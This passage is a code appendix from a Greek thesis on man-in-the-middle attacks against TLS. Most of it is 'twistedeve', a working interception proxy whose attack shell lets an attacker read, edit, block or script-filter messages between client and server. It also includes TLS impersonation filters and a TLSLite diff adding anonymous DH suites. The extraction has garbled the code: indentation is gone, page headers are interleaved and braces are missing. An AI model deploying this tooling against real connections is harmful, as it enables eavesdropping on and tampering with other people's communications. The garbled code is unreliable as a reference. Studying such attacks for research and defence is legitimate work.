ez_code = urllib2.urlopen(
options.setup_source).read().replace('\r\n', '\n')
ez =
exec ez_code in ez
setup_args = dict(to_dir=eggs_dir, download_delay=0)
if options.download_base:
setup_args['download_base'] = options.download_base
if options.use_distribute:
setup_args['no_fake'] = True
ez['use_setuptools'](**setup_args)
if 'pkg_resources' in sys.modules:
reload(sys.modules['pkg_resources'])
import pkg_resources
# This does not (always?) update the default working set. We will
# do it.
for path in sys.path:
if path not in pkg_resources.working_set.entries:
pkg_resources.working_set.add_entry(path)
cmd = [quote(sys.executable),
'-c',
quote('from setuptools.command.easy_install import main; main()'),
Δημήτρης Μωραϊτης 80
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
'-mqNxd',
quote(eggs_dir)]
if not has_broken_dash_S:
cmd.insert(1, '-S')
find_links = options.download_base
if not find_links:
find_links = os.environ.get('bootstrap-testing-find-links')
if find_links:
cmd.extend(['-f', quote(find_links)])
if options.use_distribute:
setup_requirement = 'distribute'
else:
setup_requirement = 'setuptools'
ws = pkg_resources.working_set
setup_requirement_path = ws.find(
pkg_resources.Requirement.parse(setup_requirement)).location
env = dict(
os.environ,
PYTHONPATH=setup_requirement_path)
requirement = 'zc.buildout'
version = options.version
if version is None and not options.accept_buildout_test_releases:
# Figure out the most recent final version of zc.buildout.
import setuptools.package_index
_final_parts = '*final-', '*final'
def _final_version(parsed_version):
for part in parsed_version:
if (part[:1] == '*') and (part not in _final_parts):
return False
return True
index = setuptools.package_index.PackageIndex(
search_path=[setup_requirement_path])
if find_links:
index.add_find_links((find_links,))
req = pkg_resources.Requirement.parse(requirement)
if index.obtain(req) is not None:
best = []
bestv = None
for dist in index[req.project_name]:
distv = dist.parsed_version
if _final_version(distv):
if bestv is None or distv > bestv:
Δημήτρης Μωραϊτης 81
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
best = [dist]
bestv = distv
elif distv == bestv:
best.append(dist)
if best:
best.sort()
version = best[-1].version
if version:
requirement = '=='.join((requirement, version))
cmd.append(requirement)
if is_jython:
import subprocess
exitcode = subprocess.Popen(cmd, env=env).wait()
else: # Windows prefers this, apparently; otherwise we would prefer subprocess
exitcode = os.spawnle(*([os.P_WAIT, sys.executable] + cmd + [env]))
if exitcode != 0:
sys.stdout.flush()
sys.stderr.flush()
print ("An error occurred when trying to install zc.buildout. "
"Look above this message for any errors that "
"were output by easy_install.")
sys.exit(exitcode)
ws.add_entry(eggs_dir)
ws.require(requirement)
import zc.buildout.buildout
zc.buildout.buildout.main(args)
if not options.eggs: # clean up temporary egg directory
shutil.rmtree(eggs_dir)
Δημήτρης Μωραϊτης 82
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
.gitignore
*.egg-info
*.swp
*.pyc
*.pyo
.project
.pydevproject
bin
parts
develop-eggs
src/tlslite
.installed.cfg
.mr.developer.cfg
Δημήτρης Μωραϊτης 83
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
filters/censor.py
BAD_WORDS = ['stupid', 'fat', 'weird', 'ugly', 'bitch']
GOOD_WORDS = ['smart', 'fit', 'amazing', 'georgeous', 'mermaid']
def filter(packetNo, data, source, target):
"""
This will replace any bad words with nice ones in any message
that originates from the client and mentions Eve
"""
if 'Client2Server' in str(source): # message coming from client
# check if Eve is mentioned
if 'Eve' in data:
for b in BAD_WORDS:
# replace any bad words with nice ones
data = data.replace(b,GOOD_WORDS[BAD_WORDS.index(b)])
# forward the (possibly edited) data
target.write(data)
else:
# message coming from trusted server, pass along
target.write(data)
return data
print "Loaded censoring filter"
Δημήτρης Μωραϊτης 84
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
filters/tlsinfo.py
# display TLS version and ciphersuites supported by the client and the server
from tlslite.utils.compat import stringToBytes, bytesToString
from tlslite.api import *
from tlslite.utils.codec import Parser
from tlslite.messages import ClientHello, ServerHello
from twistedeve.attackshell import bcolors
def handshake(source):
pass
def filter(packetNo, data, source, target):
bytes = stringToBytes(data)
if packetNo == 0 and 'Client2Server' in str(source):
p = Parser(bytes[5:])
p.get(1)
clientHello = ClientHello()
clientHello.parse(p)
print bcolors.OKGREEN + "Client supports TLS version: %s" % \
str(clientHello.client_version)
print "Client supports ciphersuites: %s" % \
str([CIPHER_MAP.get(i,i) for i in clientHello.cipher_suites]) \
+ bcolors.ENDC
elif packetNo == 0 and 'Client2Server' not in str(source):
p = Parser(bytes[5:])
p.get(1)
serverHello = ServerHello()
serverHello.parse(p)
print bcolors.OKGREEN + "Server selected TLS version: %s" % \
str(serverHello.server_version)
print "Server selected ciphersuite: %s" % \
Δημήτρης Μωραϊτης 85
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
str(CIPHER_MAP.get(serverHello.cipher_suite,
serverHello.cipher_suite)) + bcolors.ENDC
target.write(data)
return data
CIPHER_MAP =
CIPHER_MAP[0x00] = 'TLS_NULL_WITH_NULL_NULL'
CIPHER_MAP[0x01] = 'TLS_RSA_WITH_NULL_MD5'
CIPHER_MAP[0x02] = 'TLS_RSA_WITH_NULL_SHA'
CIPHER_MAP[0x3B] = 'TLS_RSA_WITH_NULL_SHA256 '
CIPHER_MAP[0x04] = 'TLS_RSA_WITH_RC4_128_MD5'
CIPHER_MAP[0x05] = 'TLS_RSA_WITH_RC4_128_SHA'
CIPHER_MAP[0x0A] = 'TLS_RSA_WITH_3DES_EDE_CBC_SHA'
CIPHER_MAP[0x2F] = 'TLS_RSA_WITH_AES_128_CBC_SHA'
CIPHER_MAP[0x35] = 'TLS_RSA_WITH_AES_256_CBC_SHA'
CIPHER_MAP[0x3C] = 'TLS_RSA_WITH_AES_128_CBC_SHA256'
CIPHER_MAP[0x3D] = 'TLS_RSA_WITH_AES_256_CBC_SHA256'
CIPHER_MAP[0x0D] = 'TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA'
CIPHER_MAP[0x10] = 'TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA'
CIPHER_MAP[0x13] = 'TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA'
CIPHER_MAP[0x16] = 'TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA'
CIPHER_MAP[0x30] = 'TLS_DH_DSS_WITH_AES_128_CBC_SHA'
CIPHER_MAP[0x31] = 'TLS_DH_RSA_WITH_AES_128_CBC_SHA'
CIPHER_MAP[0x32] = 'TLS_DHE_DSS_WITH_AES_128_CBC_SHA'
CIPHER_MAP[0x33] = 'TLS_DHE_RSA_WITH_AES_128_CBC_SHA'
CIPHER_MAP[0x36] = 'TLS_DH_DSS_WITH_AES_256_CBC_SHA'
CIPHER_MAP[0x37] = 'TLS_DH_RSA_WITH_AES_256_CBC_SHA'
CIPHER_MAP[0x38] = 'TLS_DHE_DSS_WITH_AES_256_CBC_SHA'
CIPHER_MAP[0x39] = 'TLS_DHE_RSA_WITH_AES_256_CBC_SHA'
CIPHER_MAP[0x3E] = 'TLS_DH_DSS_WITH_AES_128_CBC_SHA256'
CIPHER_MAP[0x3F] = 'TLS_DH_RSA_WITH_AES_128_CBC_SHA256'
Δημήτρης Μωραϊτης 86
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
CIPHER_MAP[0x40] = 'TLS_DHE_DSS_WITH_AES_128_CBC_SHA256'
CIPHER_MAP[0x67] = 'TLS_DHE_RSA_WITH_AES_128_CBC_SHA256'
CIPHER_MAP[0x68] = 'TLS_DH_DSS_WITH_AES_256_CBC_SHA256'
CIPHER_MAP[0x69] = 'TLS_DH_RSA_WITH_AES_256_CBC_SHA256'
CIPHER_MAP[0x6A] = 'TLS_DHE_DSS_WITH_AES_256_CBC_SHA256'
CIPHER_MAP[0x6B] = 'TLS_DHE_RSA_WITH_AES_256_CBC_SHA256'
CIPHER_MAP[0x18] = 'TLS_DH_anon_WITH_RC4_128_MD5'
CIPHER_MAP[0x1B] = 'TLS_DH_anon_WITH_3DES_EDE_CBC_SHA'
CIPHER_MAP[0x34] = 'TLS_DH_anon_WITH_AES_128_CBC_SHA'
CIPHER_MAP[0x3A] = 'TLS_DH_anon_WITH_AES_256_CBC_SHA'
CIPHER_MAP[0x6C] = 'TLS_DH_anon_WITH_AES_128_CBC_SHA256'
CIPHER_MAP[0x6D] = 'TLS_DH_anon_WITH_AES_256_CBC_SHA256'
Δημήτρης Μωραϊτης 87
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
helpers/agree.py
#!/usr/bin/env python
#
# A simple server that agrees to everything the client says
#
from twisted.internet.protocol import Protocol, Factory
from twisted.internet import reactor
### Protocol Implementation
class Echo(Protocol):
def dataReceived(self, data):
"""
As soon as any data is received, write it back.
"""
self.transport.write("I agree that " + data)
def main():
f = Factory()
f.protocol = Echo
reactor.listenTCP(50000, f)
reactor.run()
if __name__ == '__main__':
main()
Δημήτρης Μωραϊτης 88
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
helpers/tlsagree.py
#!/usr/bin/env python
#
# A simple TLS server that agrees to everything the client says
#
import socket
from tlslite.api import *
host = 'localhost'
port = 50000
backlog = 5
size = 1024
#Load X.509 certChain and privateKey.
s = open("./helpers/server.crt").read()
x509 = X509()
x509.parse(s)
certChain = X509CertChain([x509])
s = open("./helpers/server.key").read()
privateKey = parsePEMKey(s, private=True)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
while 1:
client, address = s.accept()
conn = TLSConnection(client)
conn.handshakeServer(certChain=certChain, privateKey=privateKey)
try:
data = conn.recv(size)
except Exception as e:
data = None
if data:
print "got data: " + data
data = "I agree that " + data
conn.send(data)
conn.close()
Δημήτρης Μωραϊτης 89
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
helpers/tlsnc.py
#!/usr/bin/env python
#
# Simple python implementation of netcat over TLS using TLSlite
#
import socket
import sys
import fileinput
from time import sleep
from tlslite.api import *
def netcat(hostname, port, content):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
conn = TLSConnection(s)
conn.handshakeClientCert()
conn.sendall(content)
while 1:
try:
data = conn.recv(1024)
except Exception as e:
break
if data == "":
break
print data
#s.shutdown(socket.SHUT_WR)
conn.close()
s.close()
if __name__ == '__main__':
try:
if len(sys.argv) > 1:
host = sys.argv[1]
port = sys.argv[2]
else:
host, port = ('localhost', '40000')
while True:
try:
line = raw_input()
except Exception as e:
break
if not line:
break
netcat(host, int(port), line)
Δημήτρης Μωραϊτης 90
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
except ValueError as e:
print "error: %s" % e
Δημήτρης Μωραϊτης 91
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
src/twistedeve/__init__.py
#
Δημήτρης Μωραϊτης 92
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
src/twistedeve/attackshell.py
from binascii import a2b_qp, b2a_qp
from twisted.internet.protocol import Factory, Protocol
from twisted.internet import reactor, defer
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
class AttackShell(Protocol):
"""
Once the attacker is connected to the AttackShell, she can read
and edit any message between the client and the server.
There are two attack modes. In manual mode the attacker can edit
messages by hand within a predefined time window. In auto mode the
editing is done by a script.
"""
def __init__(self):
self.buffer = []
self.timeouts = []
self.packetCount = 0
self.edit = False
self.mode = None
def connectionMade(self):
"""
Inform the Client2Server and Server2Client proxies that an
attacker is around.
Ensure that there can be only one attacker connected.
"""
if not self.factory.attacker:
self.factory.attacker.append(self)
print bcolors.OKBLUE + "Eve is here" + bcolors.ENDC
self.transport.write(bcolors.OKBLUE + "Hello Eve!\n" + bcolors.ENDC)
if self.factory.filter:
Δημήτρης Μωραϊτης 93
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
self.transport.write(bcolors.OKGREEN + "Select (a)uto or (m)anual
mode:\n" + bcolors.ENDC)
else:
self.mode = 'manual'
else:
self.transport.write(bcolors.FAIL + 'There can be only one attacker at '\
'any time\r\n' + bcolors.ENDC)
self.transport.loseConnection()
def connectionLost(self, reason):
"""
When the attacker drops the line, the communication between the
client and the server resumes without delays
"""
self.factory.attacker.pop()
print bcolors.OKBLUE + "Eve is gone" + bcolors.ENDC
def dataReceived(self, data):
"""
Data sent by the attacker will replace the buffered data
"""
if not self.mode:
if data.startswith('a'):
self.transport.write(bcolors.OKBLUE + "Automatic mode selected. Sit
back and check the script's output\n" + bcolors.ENDC)
self.mode = 'auto'
elif data.startswith('m'):
self.transport.write(bcolors.OKBLUE + "Manual mode selected.\n" +
bcolors.ENDC)
self.mode = 'manual'
else:
self.transport.write(bcolors.FAIL + "Invalid option\n" + bcolors.ENDC)
self.transport.write(bcolors.OKGREEN + "Select (a)uto or (m)anual
mode:\n" + bcolors.ENDC)
elif self.mode == 'manual' and len(self.buffer):
if self.edit: # edit message
(packetNo, olddata, source, target) = self.buffer.pop()
target.write(a2b_qp(data))
print bcolors.WARNING + "Eve changed some data: " + bcolors.ENDC +
"%s" % data
self.transport.write(bcolors.OKBLUE + ("%d: OK! Edited\n" % packetNo)
+ bcolors.ENDC)
self.edit = False
Δημήτρης Μωραϊτης 94
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
self.ask()
elif data.startswith('e'): # mark message for editing
self.edit = True
elif data.startswith('f'): # forward it
(packetNo, olddata, source, target) = self.buffer.pop()
target.write(olddata)
self.transport.write(bcolors.OKBLUE + ("%d: OK! Forwarded\n" %
packetNo) + bcolors.ENDC)
self.ask()
elif data.startswith('b'): # block it
self.buffer.pop()
self.ask()
else: # invalid input, ask again
self.transport.write(bcolors.OKGREEN + ("%d: (f)orward, (e)dit,
(b)lock? "
% self.buffer[-1][0]) + bcolors.ENDC)
elif self.mode == 'auto':
pass
def intercept(self, data, source, target):
"""
Put message in the attacker's buffer. If it's the only message in
the buffer ask the attacker what to do with it. Otherwise wait for
the rest of the buffered messages to be processed
"""
self.buffer.insert(0, (self.packetCount, data, source, target))
if len(self.buffer) == 1:
if self.mode == 'manual':
self.ask()
elif self.mode == 'auto':
self.act()
self.packetCount += 1
def act(self):
"""
Call the imput filter
"""
while len(self.buffer):
(packetNo, dataIn, source, target) = self.buffer.pop()
Δημήτρης Μωραϊτης 95
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
dataOut = self.factory.filter(packetNo, dataIn, source, target)
if dataOut != dataIn:
if self.factory.attacker:
self.transport.write("\n%d: edited message\n" % packetNo)
self.transport.write("<input>%s</input>\n" % dataIn)
self.transport.write("<output>%s</output>\n" % dataOut)
print "\n%d: edited message\n" % packetNo
print "<input>%s</input>\n" % dataIn
print "<output>%s</output>\n" % dataOut
def ask(self):
"""
Get the next message in the buffer and ask the attacker if it
should be forwarded, edited, or blocked
"""
if len(self.buffer):
(packetNo, data, source, target) = self.buffer.pop()
if 'Client2Server' in str(source):
self.transport.write("\n%d: Intercepted message from client"\
"\n---begin---\n%s\n----end----\n" \
% (packetNo,
b2a_qp(data)))
else:
self.transport.write("%d: Intercepted message from server"\
"\n---begin---\n%s\n----end----\n" \
% (packetNo, b2a_qp(data)))
self.transport.write("%d: (f)orward it, (e)dit it, (b)lock it? " %
packetNo)
d = defer.Deferred()
d.addCallback(self.timeout)
reactor.callLater(self.factory.delay, d.callback,
(packetNo, data, source, target))
self.buffer.append((packetNo, data, source, target))
def timeout(self, (packetNo, data, source, target)):
if len(self.buffer) and \
(packetNo, data, source, target) == self.buffer[-1] and \
not self.edit:
self.transport.write("\n%d: timed out. Auto-forwarding\n"
% packetNo)
target.write(data)
self.buffer.remove((packetNo, data, source, target))
self.ask()
Δημήτρης Μωραϊτης 96
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
class AttackShellFactory(Factory):
protocol = AttackShell
def __init__(self, delay, filter, attacker):
self.delay = delay
self.filter = filter
self.attacker = attacker
Δημήτρης Μωραϊτης 97
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
src/twistedeve/client2server.py
from twisted.protocols.portforward import ProxyServer, ProxyFactory
from twistedeve.server2client import Server2ClientProxyFactory
from tlslite.api import *
class Client2ServerProxy(ProxyServer):
"""
Receives from the client and forwards to the server, unless an attack
is underway, in which case the messages are being intercepted and
perhaps edited by the attacker
"""
clientProtocolFactory = Server2ClientProxyFactory
def __init__(self):
self.tlsStarted = False
self.attacker = False
def connectionMade(self):
"""
When client first connects, open a connection to the server
"""
self.packetCount = 0
if self.factory.attacker:
self.factory.attacker[0].packetCount = 0
if self.factory.handshake:
self.factory.handshake(self)
ProxyServer.connectionMade(self)
def dataReceived(self, data):
self.packetCount += 1
lines = data.split('\r\n')
# just print the data if no filter present
if not self.factory.filter:
for l in lines:
if l != '':
print "\t" + repr(l)
if self.factory.attacker:
self.factory.attacker[0].intercept(data, self.transport,
self.peer.transport)
Δημήτρης Μωραϊτης 98
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
elif self.factory.filter:
try:
filtered_data = self.factory.filter(self.packetCount-1,
data,
self.transport,
self.peer.transport)
if filtered_data != data:
print "changed some data"
except Exception as e:
print "Error forwarding filtered data to server: %s" % e
else:
try:
self.peer.transport.write(data)
except Exception as e:
print "Error forwarding data to server: %s" % e
class Client2ServerProxyFactory(ProxyFactory):
protocol = Client2ServerProxy
def __init__(self, host, port, filter,
handshake, key, certChain, attacker):
self.host = host
self.port = port
self.attacker = attacker
self.filter = filter
self.handshake = handshake
self.key = key
self.certChain = certChain
Δημήτρης Μωραϊτης 99
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
src/twistedeve/main.py
import sys
import optparse
from time import sleep
from twisted.internet import reactor
from twisted.python import log
from twisted.protocols.policies import ProtocolWrapper, WrappingFactory
from twistedeve.attackshell import AttackShellFactory
from twistedeve.client2server import Client2ServerProxyFactory
from tlslite.api import *
def parse_args():
"""
Parse command line arguments
"""
parser = optparse.OptionParser()
parser.add_option('-b', '--bind', dest='bind', help='address to bind to',
metavar='HOST:PORT', default='0.0.0.0:8000')
parser.add_option('-t', '--target', dest='target',
help='target host and port to forward data',
metavar='HOST:PORT')
parser.add_option('-a', '--attack', dest="attacker",
help='host and port for the attacker to connect to',
metavar="HOST:PORT", default=None)
parser.add_option('-d', '--delay', dest='delay',
help='number of seconds to delay messages if attacker ' \
'is connected', default='3')
Δημήτρης Μωραϊτης 100
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
parser.add_option('-k', '--key', dest='key',
help='TLS private key file', default=None)
parser.add_option('-c', '--certchain', dest='chain',
help='X.509 cert chain', default=None)
parser.add_option('-f', '--filter', dest='filter',
help='script file for auto-filtering', default=None)
(options, args) = validate_args(parser)
return (options, args)
def validate_args(parser):
"""
Check that we got what we need from the command line
"""
(options, args) = parser.parse_args()
# Make sure there is a target host to forward data
if not options.target:
parser.print_help()
sys.exit(1)
target = options.target.split(':')
if len(target) == 2:
try:
target[1] = int(target[1])
except ValueError:
target[1] = None
if len(target) != 2 or not target[0] or not target[1]:
print 'Target \'%s\' not in format HOST:PORT' % options.target
sys.exit(1)
Δημήτρης Μωραϊτης 101
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
options.target = tuple(target)
#validate delay
try:
options.delay = int(options.delay)
except ValueError:
print "Invalid delay value"
sys.exit(1)
# validate bind address
if options.bind:
bind = options.bind.split(':')
if len(bind) == 2:
address = bind[0]
port = int(bind[1])
else:
address = '0.0.0.0'
port = int(bind[0])
try:
options.bind = (address, int(port))
except ValueError:
print 'Bind address \'%s\' not in format HOST:PORT' % options.bind
sys.exit(1)
else:
options.bind = ('0.0.0.0', 8000)
# validate attacker
if options.attacker:
attacker = options.attacker.split(':')
if len(attacker) == 2:
Δημήτρης Μωραϊτης 102
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
address = attacker[0]
port = int(attacker[1])
else:
address = '0.0.0.0'
port = int(attacker[0])
try:
options.attacker = (address, int(port))
except ValueError:
print 'Attacker address \'%s\' not in format HOST:PORT' % \
options.bind
sys.exit(1)
else:
options.attacker = ('0.0.0.0', 31337)
# open filter script
ns = 'filter': None, 'handshake' : None
if options.filter:
try:
f = open(options.filter)
code = f.read()
exec code in ns
if not ns['filter']:
raise
except Exception as e:
print "Invalid script file. Check out the examples in the scripts
directory"
sys.exit(1)
options.filter = ns['filter']
options.handshake = ns['handshake']
Δημήτρης Μωραϊτης 103
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
# open key file
options.certChain = None
if options.key:
try:
if options.chain:
chain = []
s = open(options.chain).read()
certs = s.split('-----END CERTIFICATE-----')
while certs:
c = certs.pop() + '-----END CERTIFICATE-----'
x509 = X509()
try:
x509.parse(c)
chain.insert(0,x509)
except Exception as e:
continue
options.certChain = X509CertChain(chain)
s = open(options.key).read()
options.key = parsePEMKey(s, private=True)
print "TLS key loaded"
if not options.handshake:
from twistedeve.filters.tls import handshake
options.handshake = handshake
except ValueError as e:
print "Invalid TLS key file"
sys.exit(1)
return (options, args)
def main():
(options, args) = parse_args()
Δημήτρης Μωραϊτης 104
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
attacker = []
log.startLogging(sys.stdout)
client2server_proxy = Client2ServerProxyFactory(options.target[0],
options.target[1],
options.filter, options.handshake,
options.key, options.certChain, attacker)
attack_server = AttackShellFactory(options.delay, options.filter, attacker)
reactor.listenTCP(options.bind[1], client2server_proxy,
interface=options.bind[0])
reactor.listenTCP(options.attacker[1], attack_server,
interface=options.attacker[0])
reactor.run()
Δημήτρης Μωραϊτης 105
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
src/twistedeve/server2client.py
from twisted.internet.protocol import ClientFactory
from twisted.protocols.portforward import Proxy
class Server2ClientProxy(Proxy):
"""
Receives from the server and forwards to the client, unless an
attack is underway, in which case the message gets intercepted
and perhaps edited first
"""
def __init__(self):
self.tlsStarted = False
def connectionMade(self):
self.packetCount = 0
self.peer.setPeer(self)
if self.peer.factory.handshake:
self.peer.factory.handshake(self)
self.peer.transport.resumeProducing()
def dataReceived(self, data):
self.packetCount += 1
# just print the data if no filter present
if not self.peer.factory.filter:
lines = data.split('\r\n')
for l in lines:
if l != '':
print "\t\t" + repr(l)
if self.peer.factory.attacker:
self.peer.factory.attacker[0].intercept(data, self.transport,
self.peer.transport)
elif self.peer.factory.filter:
try:
filtered_data = self.peer.factory.filter(self.packetCount-1, data,
self.transport, self.peer.transport)
if filtered_data != data:
print "changed some data"
except Exception as e:
print "Error forwarding filtered data to client: %s" % e
else:
try:
self.peer.transport.write(data)
Δημήτρης Μωραϊτης 106
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
except Exception as e:
print "Error forwarding data to client: %s" % e
class Server2ClientProxyFactory(ClientFactory):
protocol = Server2ClientProxy
def setServer(self, server):
self.server = server
def buildProtocol(self, *args, **kw):
prot = ClientFactory.buildProtocol(self, *args, **kw)
prot.setPeer(self.server)
return prot
def clientConnectionFailed(self, connector, reason):
self.server.transport.loseConnection()
Δημήτρης Μωραϊτης 107
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
filters/__init__.py
#
Δημήτρης Μωραϊτης 108
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
filters/tls.py
from tlslite.utils.compat import stringToBytes, bytesToString
from tlslite.api import *
def handshake(source):
if 'client2server' in str(source.__class__): # client to server message
if source.factory.key:
source.transport.socket = TLSConnection(source.transport.socket)
#When tls connection closes, close the socket as well
source.transport.socket.closeSocket = True
# Configure handshake settings
settings = HandshakeSettings()
#settings.minKeySize = 2048
#settings.cipherNames = ["aes256"]
#settings.minVersion = (3,0)
source.transport.socket.handshakeServer(certChain=source.factory.certChain,
privateKey=source.factory.key,
settings=settings)
else: # server to client message
if source.peer.factory.key:
source.transport.socket = TLSConnection(source.transport.socket)
#When tls connection closes, close the socket as well
source.transport.socket.closeSocket = True
# Configure handshake settings
# settings = HandshakeSettings()
source.transport.socket.handshakeClientCert()
def filter(packetNo, data, source, target):
bytes = stringToBytes(data)
if packetNo == 0 and 'Client2Server' in str(source):
pass
elif packetNo == 1 and 'Client2Server' not in str(source):
print "server says hello"
print bytes
result = bytesToString(bytes)
target.write(result)
return result
Δημήτρης Μωραϊτης 109
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Δημήτρης Μωραϊτης 110
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
9. ΠΑΡΑΡΤΗΜΑ ΙΙ
Παρακάτω παρατίθενται όλες οι αλλαγές που έγιναν στον κωδικα της TLSLite στα
πλαίσια αυτής της εργασίας. Η τελευταία έκδοση είναι διαθέσιμη στη διευθυνση:
https :// github . com / d - mo / tlslite
Η επίσημη έκδοση του δημιουργου βρίσκεται εδω:
https :// github . com / trevp / tlslite
http://trevp.net/tlslite
diff --git a/tests/tlstest.py b/tests/tlstest.py
index e719493..05d3e52 100755
--- a/tests/tlstest.py
+++ b/tests/tlstest.py
@@ -86,6 +86,12 @@ def clientTestCmd(argv):
badFault = False
+ print "Test 0 - anonymous handshake"
+ connection = connect()
+ connection.handshakeClientAnonymous()
+ testConnClient(connection)
+ connection.close()
+
print "Test 1 - good X509"
connection = connect()
connection.handshakeClientCert()
@@ -368,7 +374,7 @@ def clientTestCmd(argv):
p.quit()
print "Test 29: POP3 good"
except socket.error, e:
- print "Non-critical error: socket error trying to reach internet server: ", e
+ print "Non-critical error: socket error trying to reach internet server: ", e
Δημήτρης Μωραϊτης 111
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
if not badFault:
print "Test succeeded"
@@ -405,6 +411,12 @@ def serverTestCmd(argv):
def connect():
return TLSConnection(lsock.accept()[0])
+ print "Test 0 - Anonymous server handshake"
+ connection = connect()
+ connection.handshakeServer(anon=True)
+ testConnServer(connection)
+ connection.close()
+
print "Test 1 - good X.509"
x509Cert = X509().parse(open(os.path.join(dir, "serverX509Cert.pem")).read())
x509Chain = X509CertChain([x509Cert])
diff --git a/tlslite/constants.py b/tlslite/constants.py
index cf5508a..3ac3df1 100755
--- a/tlslite/constants.py
+++ b/tlslite/constants.py
@@ -121,6 +121,9 @@ class CipherSuite:
TLS_RSA_WITH_AES_256_CBC_SHA = 0x0035
TLS_RSA_WITH_RC4_128_SHA = 0x0005
+ TLS_DH_ANON_WITH_AES_128_CBC_SHA = 0x0034
+ TLS_DH_ANON_WITH_AES_256_CBC_SHA = 0x003A
+
srpSuites = []
srpSuites.append(TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA)
srpSuites.append(TLS_SRP_SHA_WITH_AES_128_CBC_SHA)
@@ -182,6 +185,20 @@ class CipherSuite:
suites.append(CipherSuite.TLS_RSA_WITH_3DES_EDE_CBC_SHA)
return suites
Δημήτρης Μωραϊτης 112
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
+ anonSuites = []
+ anonSuites.append(TLS_DH_ANON_WITH_AES_128_CBC_SHA)
+ anonSuites.append(TLS_DH_ANON_WITH_AES_256_CBC_SHA)
+
+ @staticmethod
+ def getAnonSuites(ciphers):
+ suites = []
+ for cipher in ciphers:
+ if cipher == "aes128":
+ suites.append(CipherSuite.TLS_DH_ANON_WITH_AES_128_CBC_SHA)
+ elif cipher == "aes256":
+ suites.append(CipherSuite.TLS_DH_ANON_WITH_AES_256_CBC_SHA)
+ return suites
+
tripleDESSuites = []
tripleDESSuites.append(TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA)
tripleDESSuites.append(TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA)
@@ -191,11 +208,13 @@ class CipherSuite:
aes128Suites.append(TLS_SRP_SHA_WITH_AES_128_CBC_SHA)
aes128Suites.append(TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA)
aes128Suites.append(TLS_RSA_WITH_AES_128_CBC_SHA)
+ aes128Suites.append(TLS_DH_ANON_WITH_AES_128_CBC_SHA)
aes256Suites = []
aes256Suites.append(TLS_SRP_SHA_WITH_AES_256_CBC_SHA)
aes256Suites.append(TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA)
aes256Suites.append(TLS_RSA_WITH_AES_256_CBC_SHA)
+ aes256Suites.append(TLS_DH_ANON_WITH_AES_256_CBC_SHA)
rc4Suites = []
rc4Suites.append(TLS_RSA_WITH_RC4_128_SHA)
diff --git a/tlslite/integration/clienthelper.py b/tlslite/integration/clienthelper.py
Δημήτρης Μωραϊτης 113
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
index 93704a1..5c8da25 100755
--- a/tlslite/integration/clienthelper.py
+++ b/tlslite/integration/clienthelper.py
@@ -18,7 +18,8 @@ class ClientHelper:
x509Fingerprint=None,
tackID=None,
hardTack=None,
- settings = None):
+ settings = None,
+ anon = False):
"""
For client authentication, use one of these argument
combinations:
@@ -79,6 +80,7 @@ class ClientHelper:
self.certChain = None
self.privateKey = None
self.checker = None
+ self.anon = anon
#SRP Authentication
if username and password and not \
@@ -118,6 +120,8 @@ class ClientHelper:
checker=self.checker,
settings=self.settings,
session=self.tlsSession)
+ elif self.anon:
+ tlsConnection.handshakeClientAnonymous()
else:
tlsConnection.handshakeClientCert(certChain=self.certChain,
privateKey=self.privateKey,
diff --git a/tlslite/integration/httptlsconnection.py
b/tlslite/integration/httptlsconnection.py
index d2d31df..6381bca 100755
--- a/tlslite/integration/httptlsconnection.py
Δημήτρης Μωραϊτης 114
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
+++ b/tlslite/integration/httptlsconnection.py
@@ -24,7 +24,8 @@ class HTTPTLSConnection(httplib.HTTPConnection, ClientHelper):
tackID=None,
hardTack=None,
settings=None,
- ignoreAbruptClose=False):
+ ignoreAbruptClose=False,
+ anon=False):
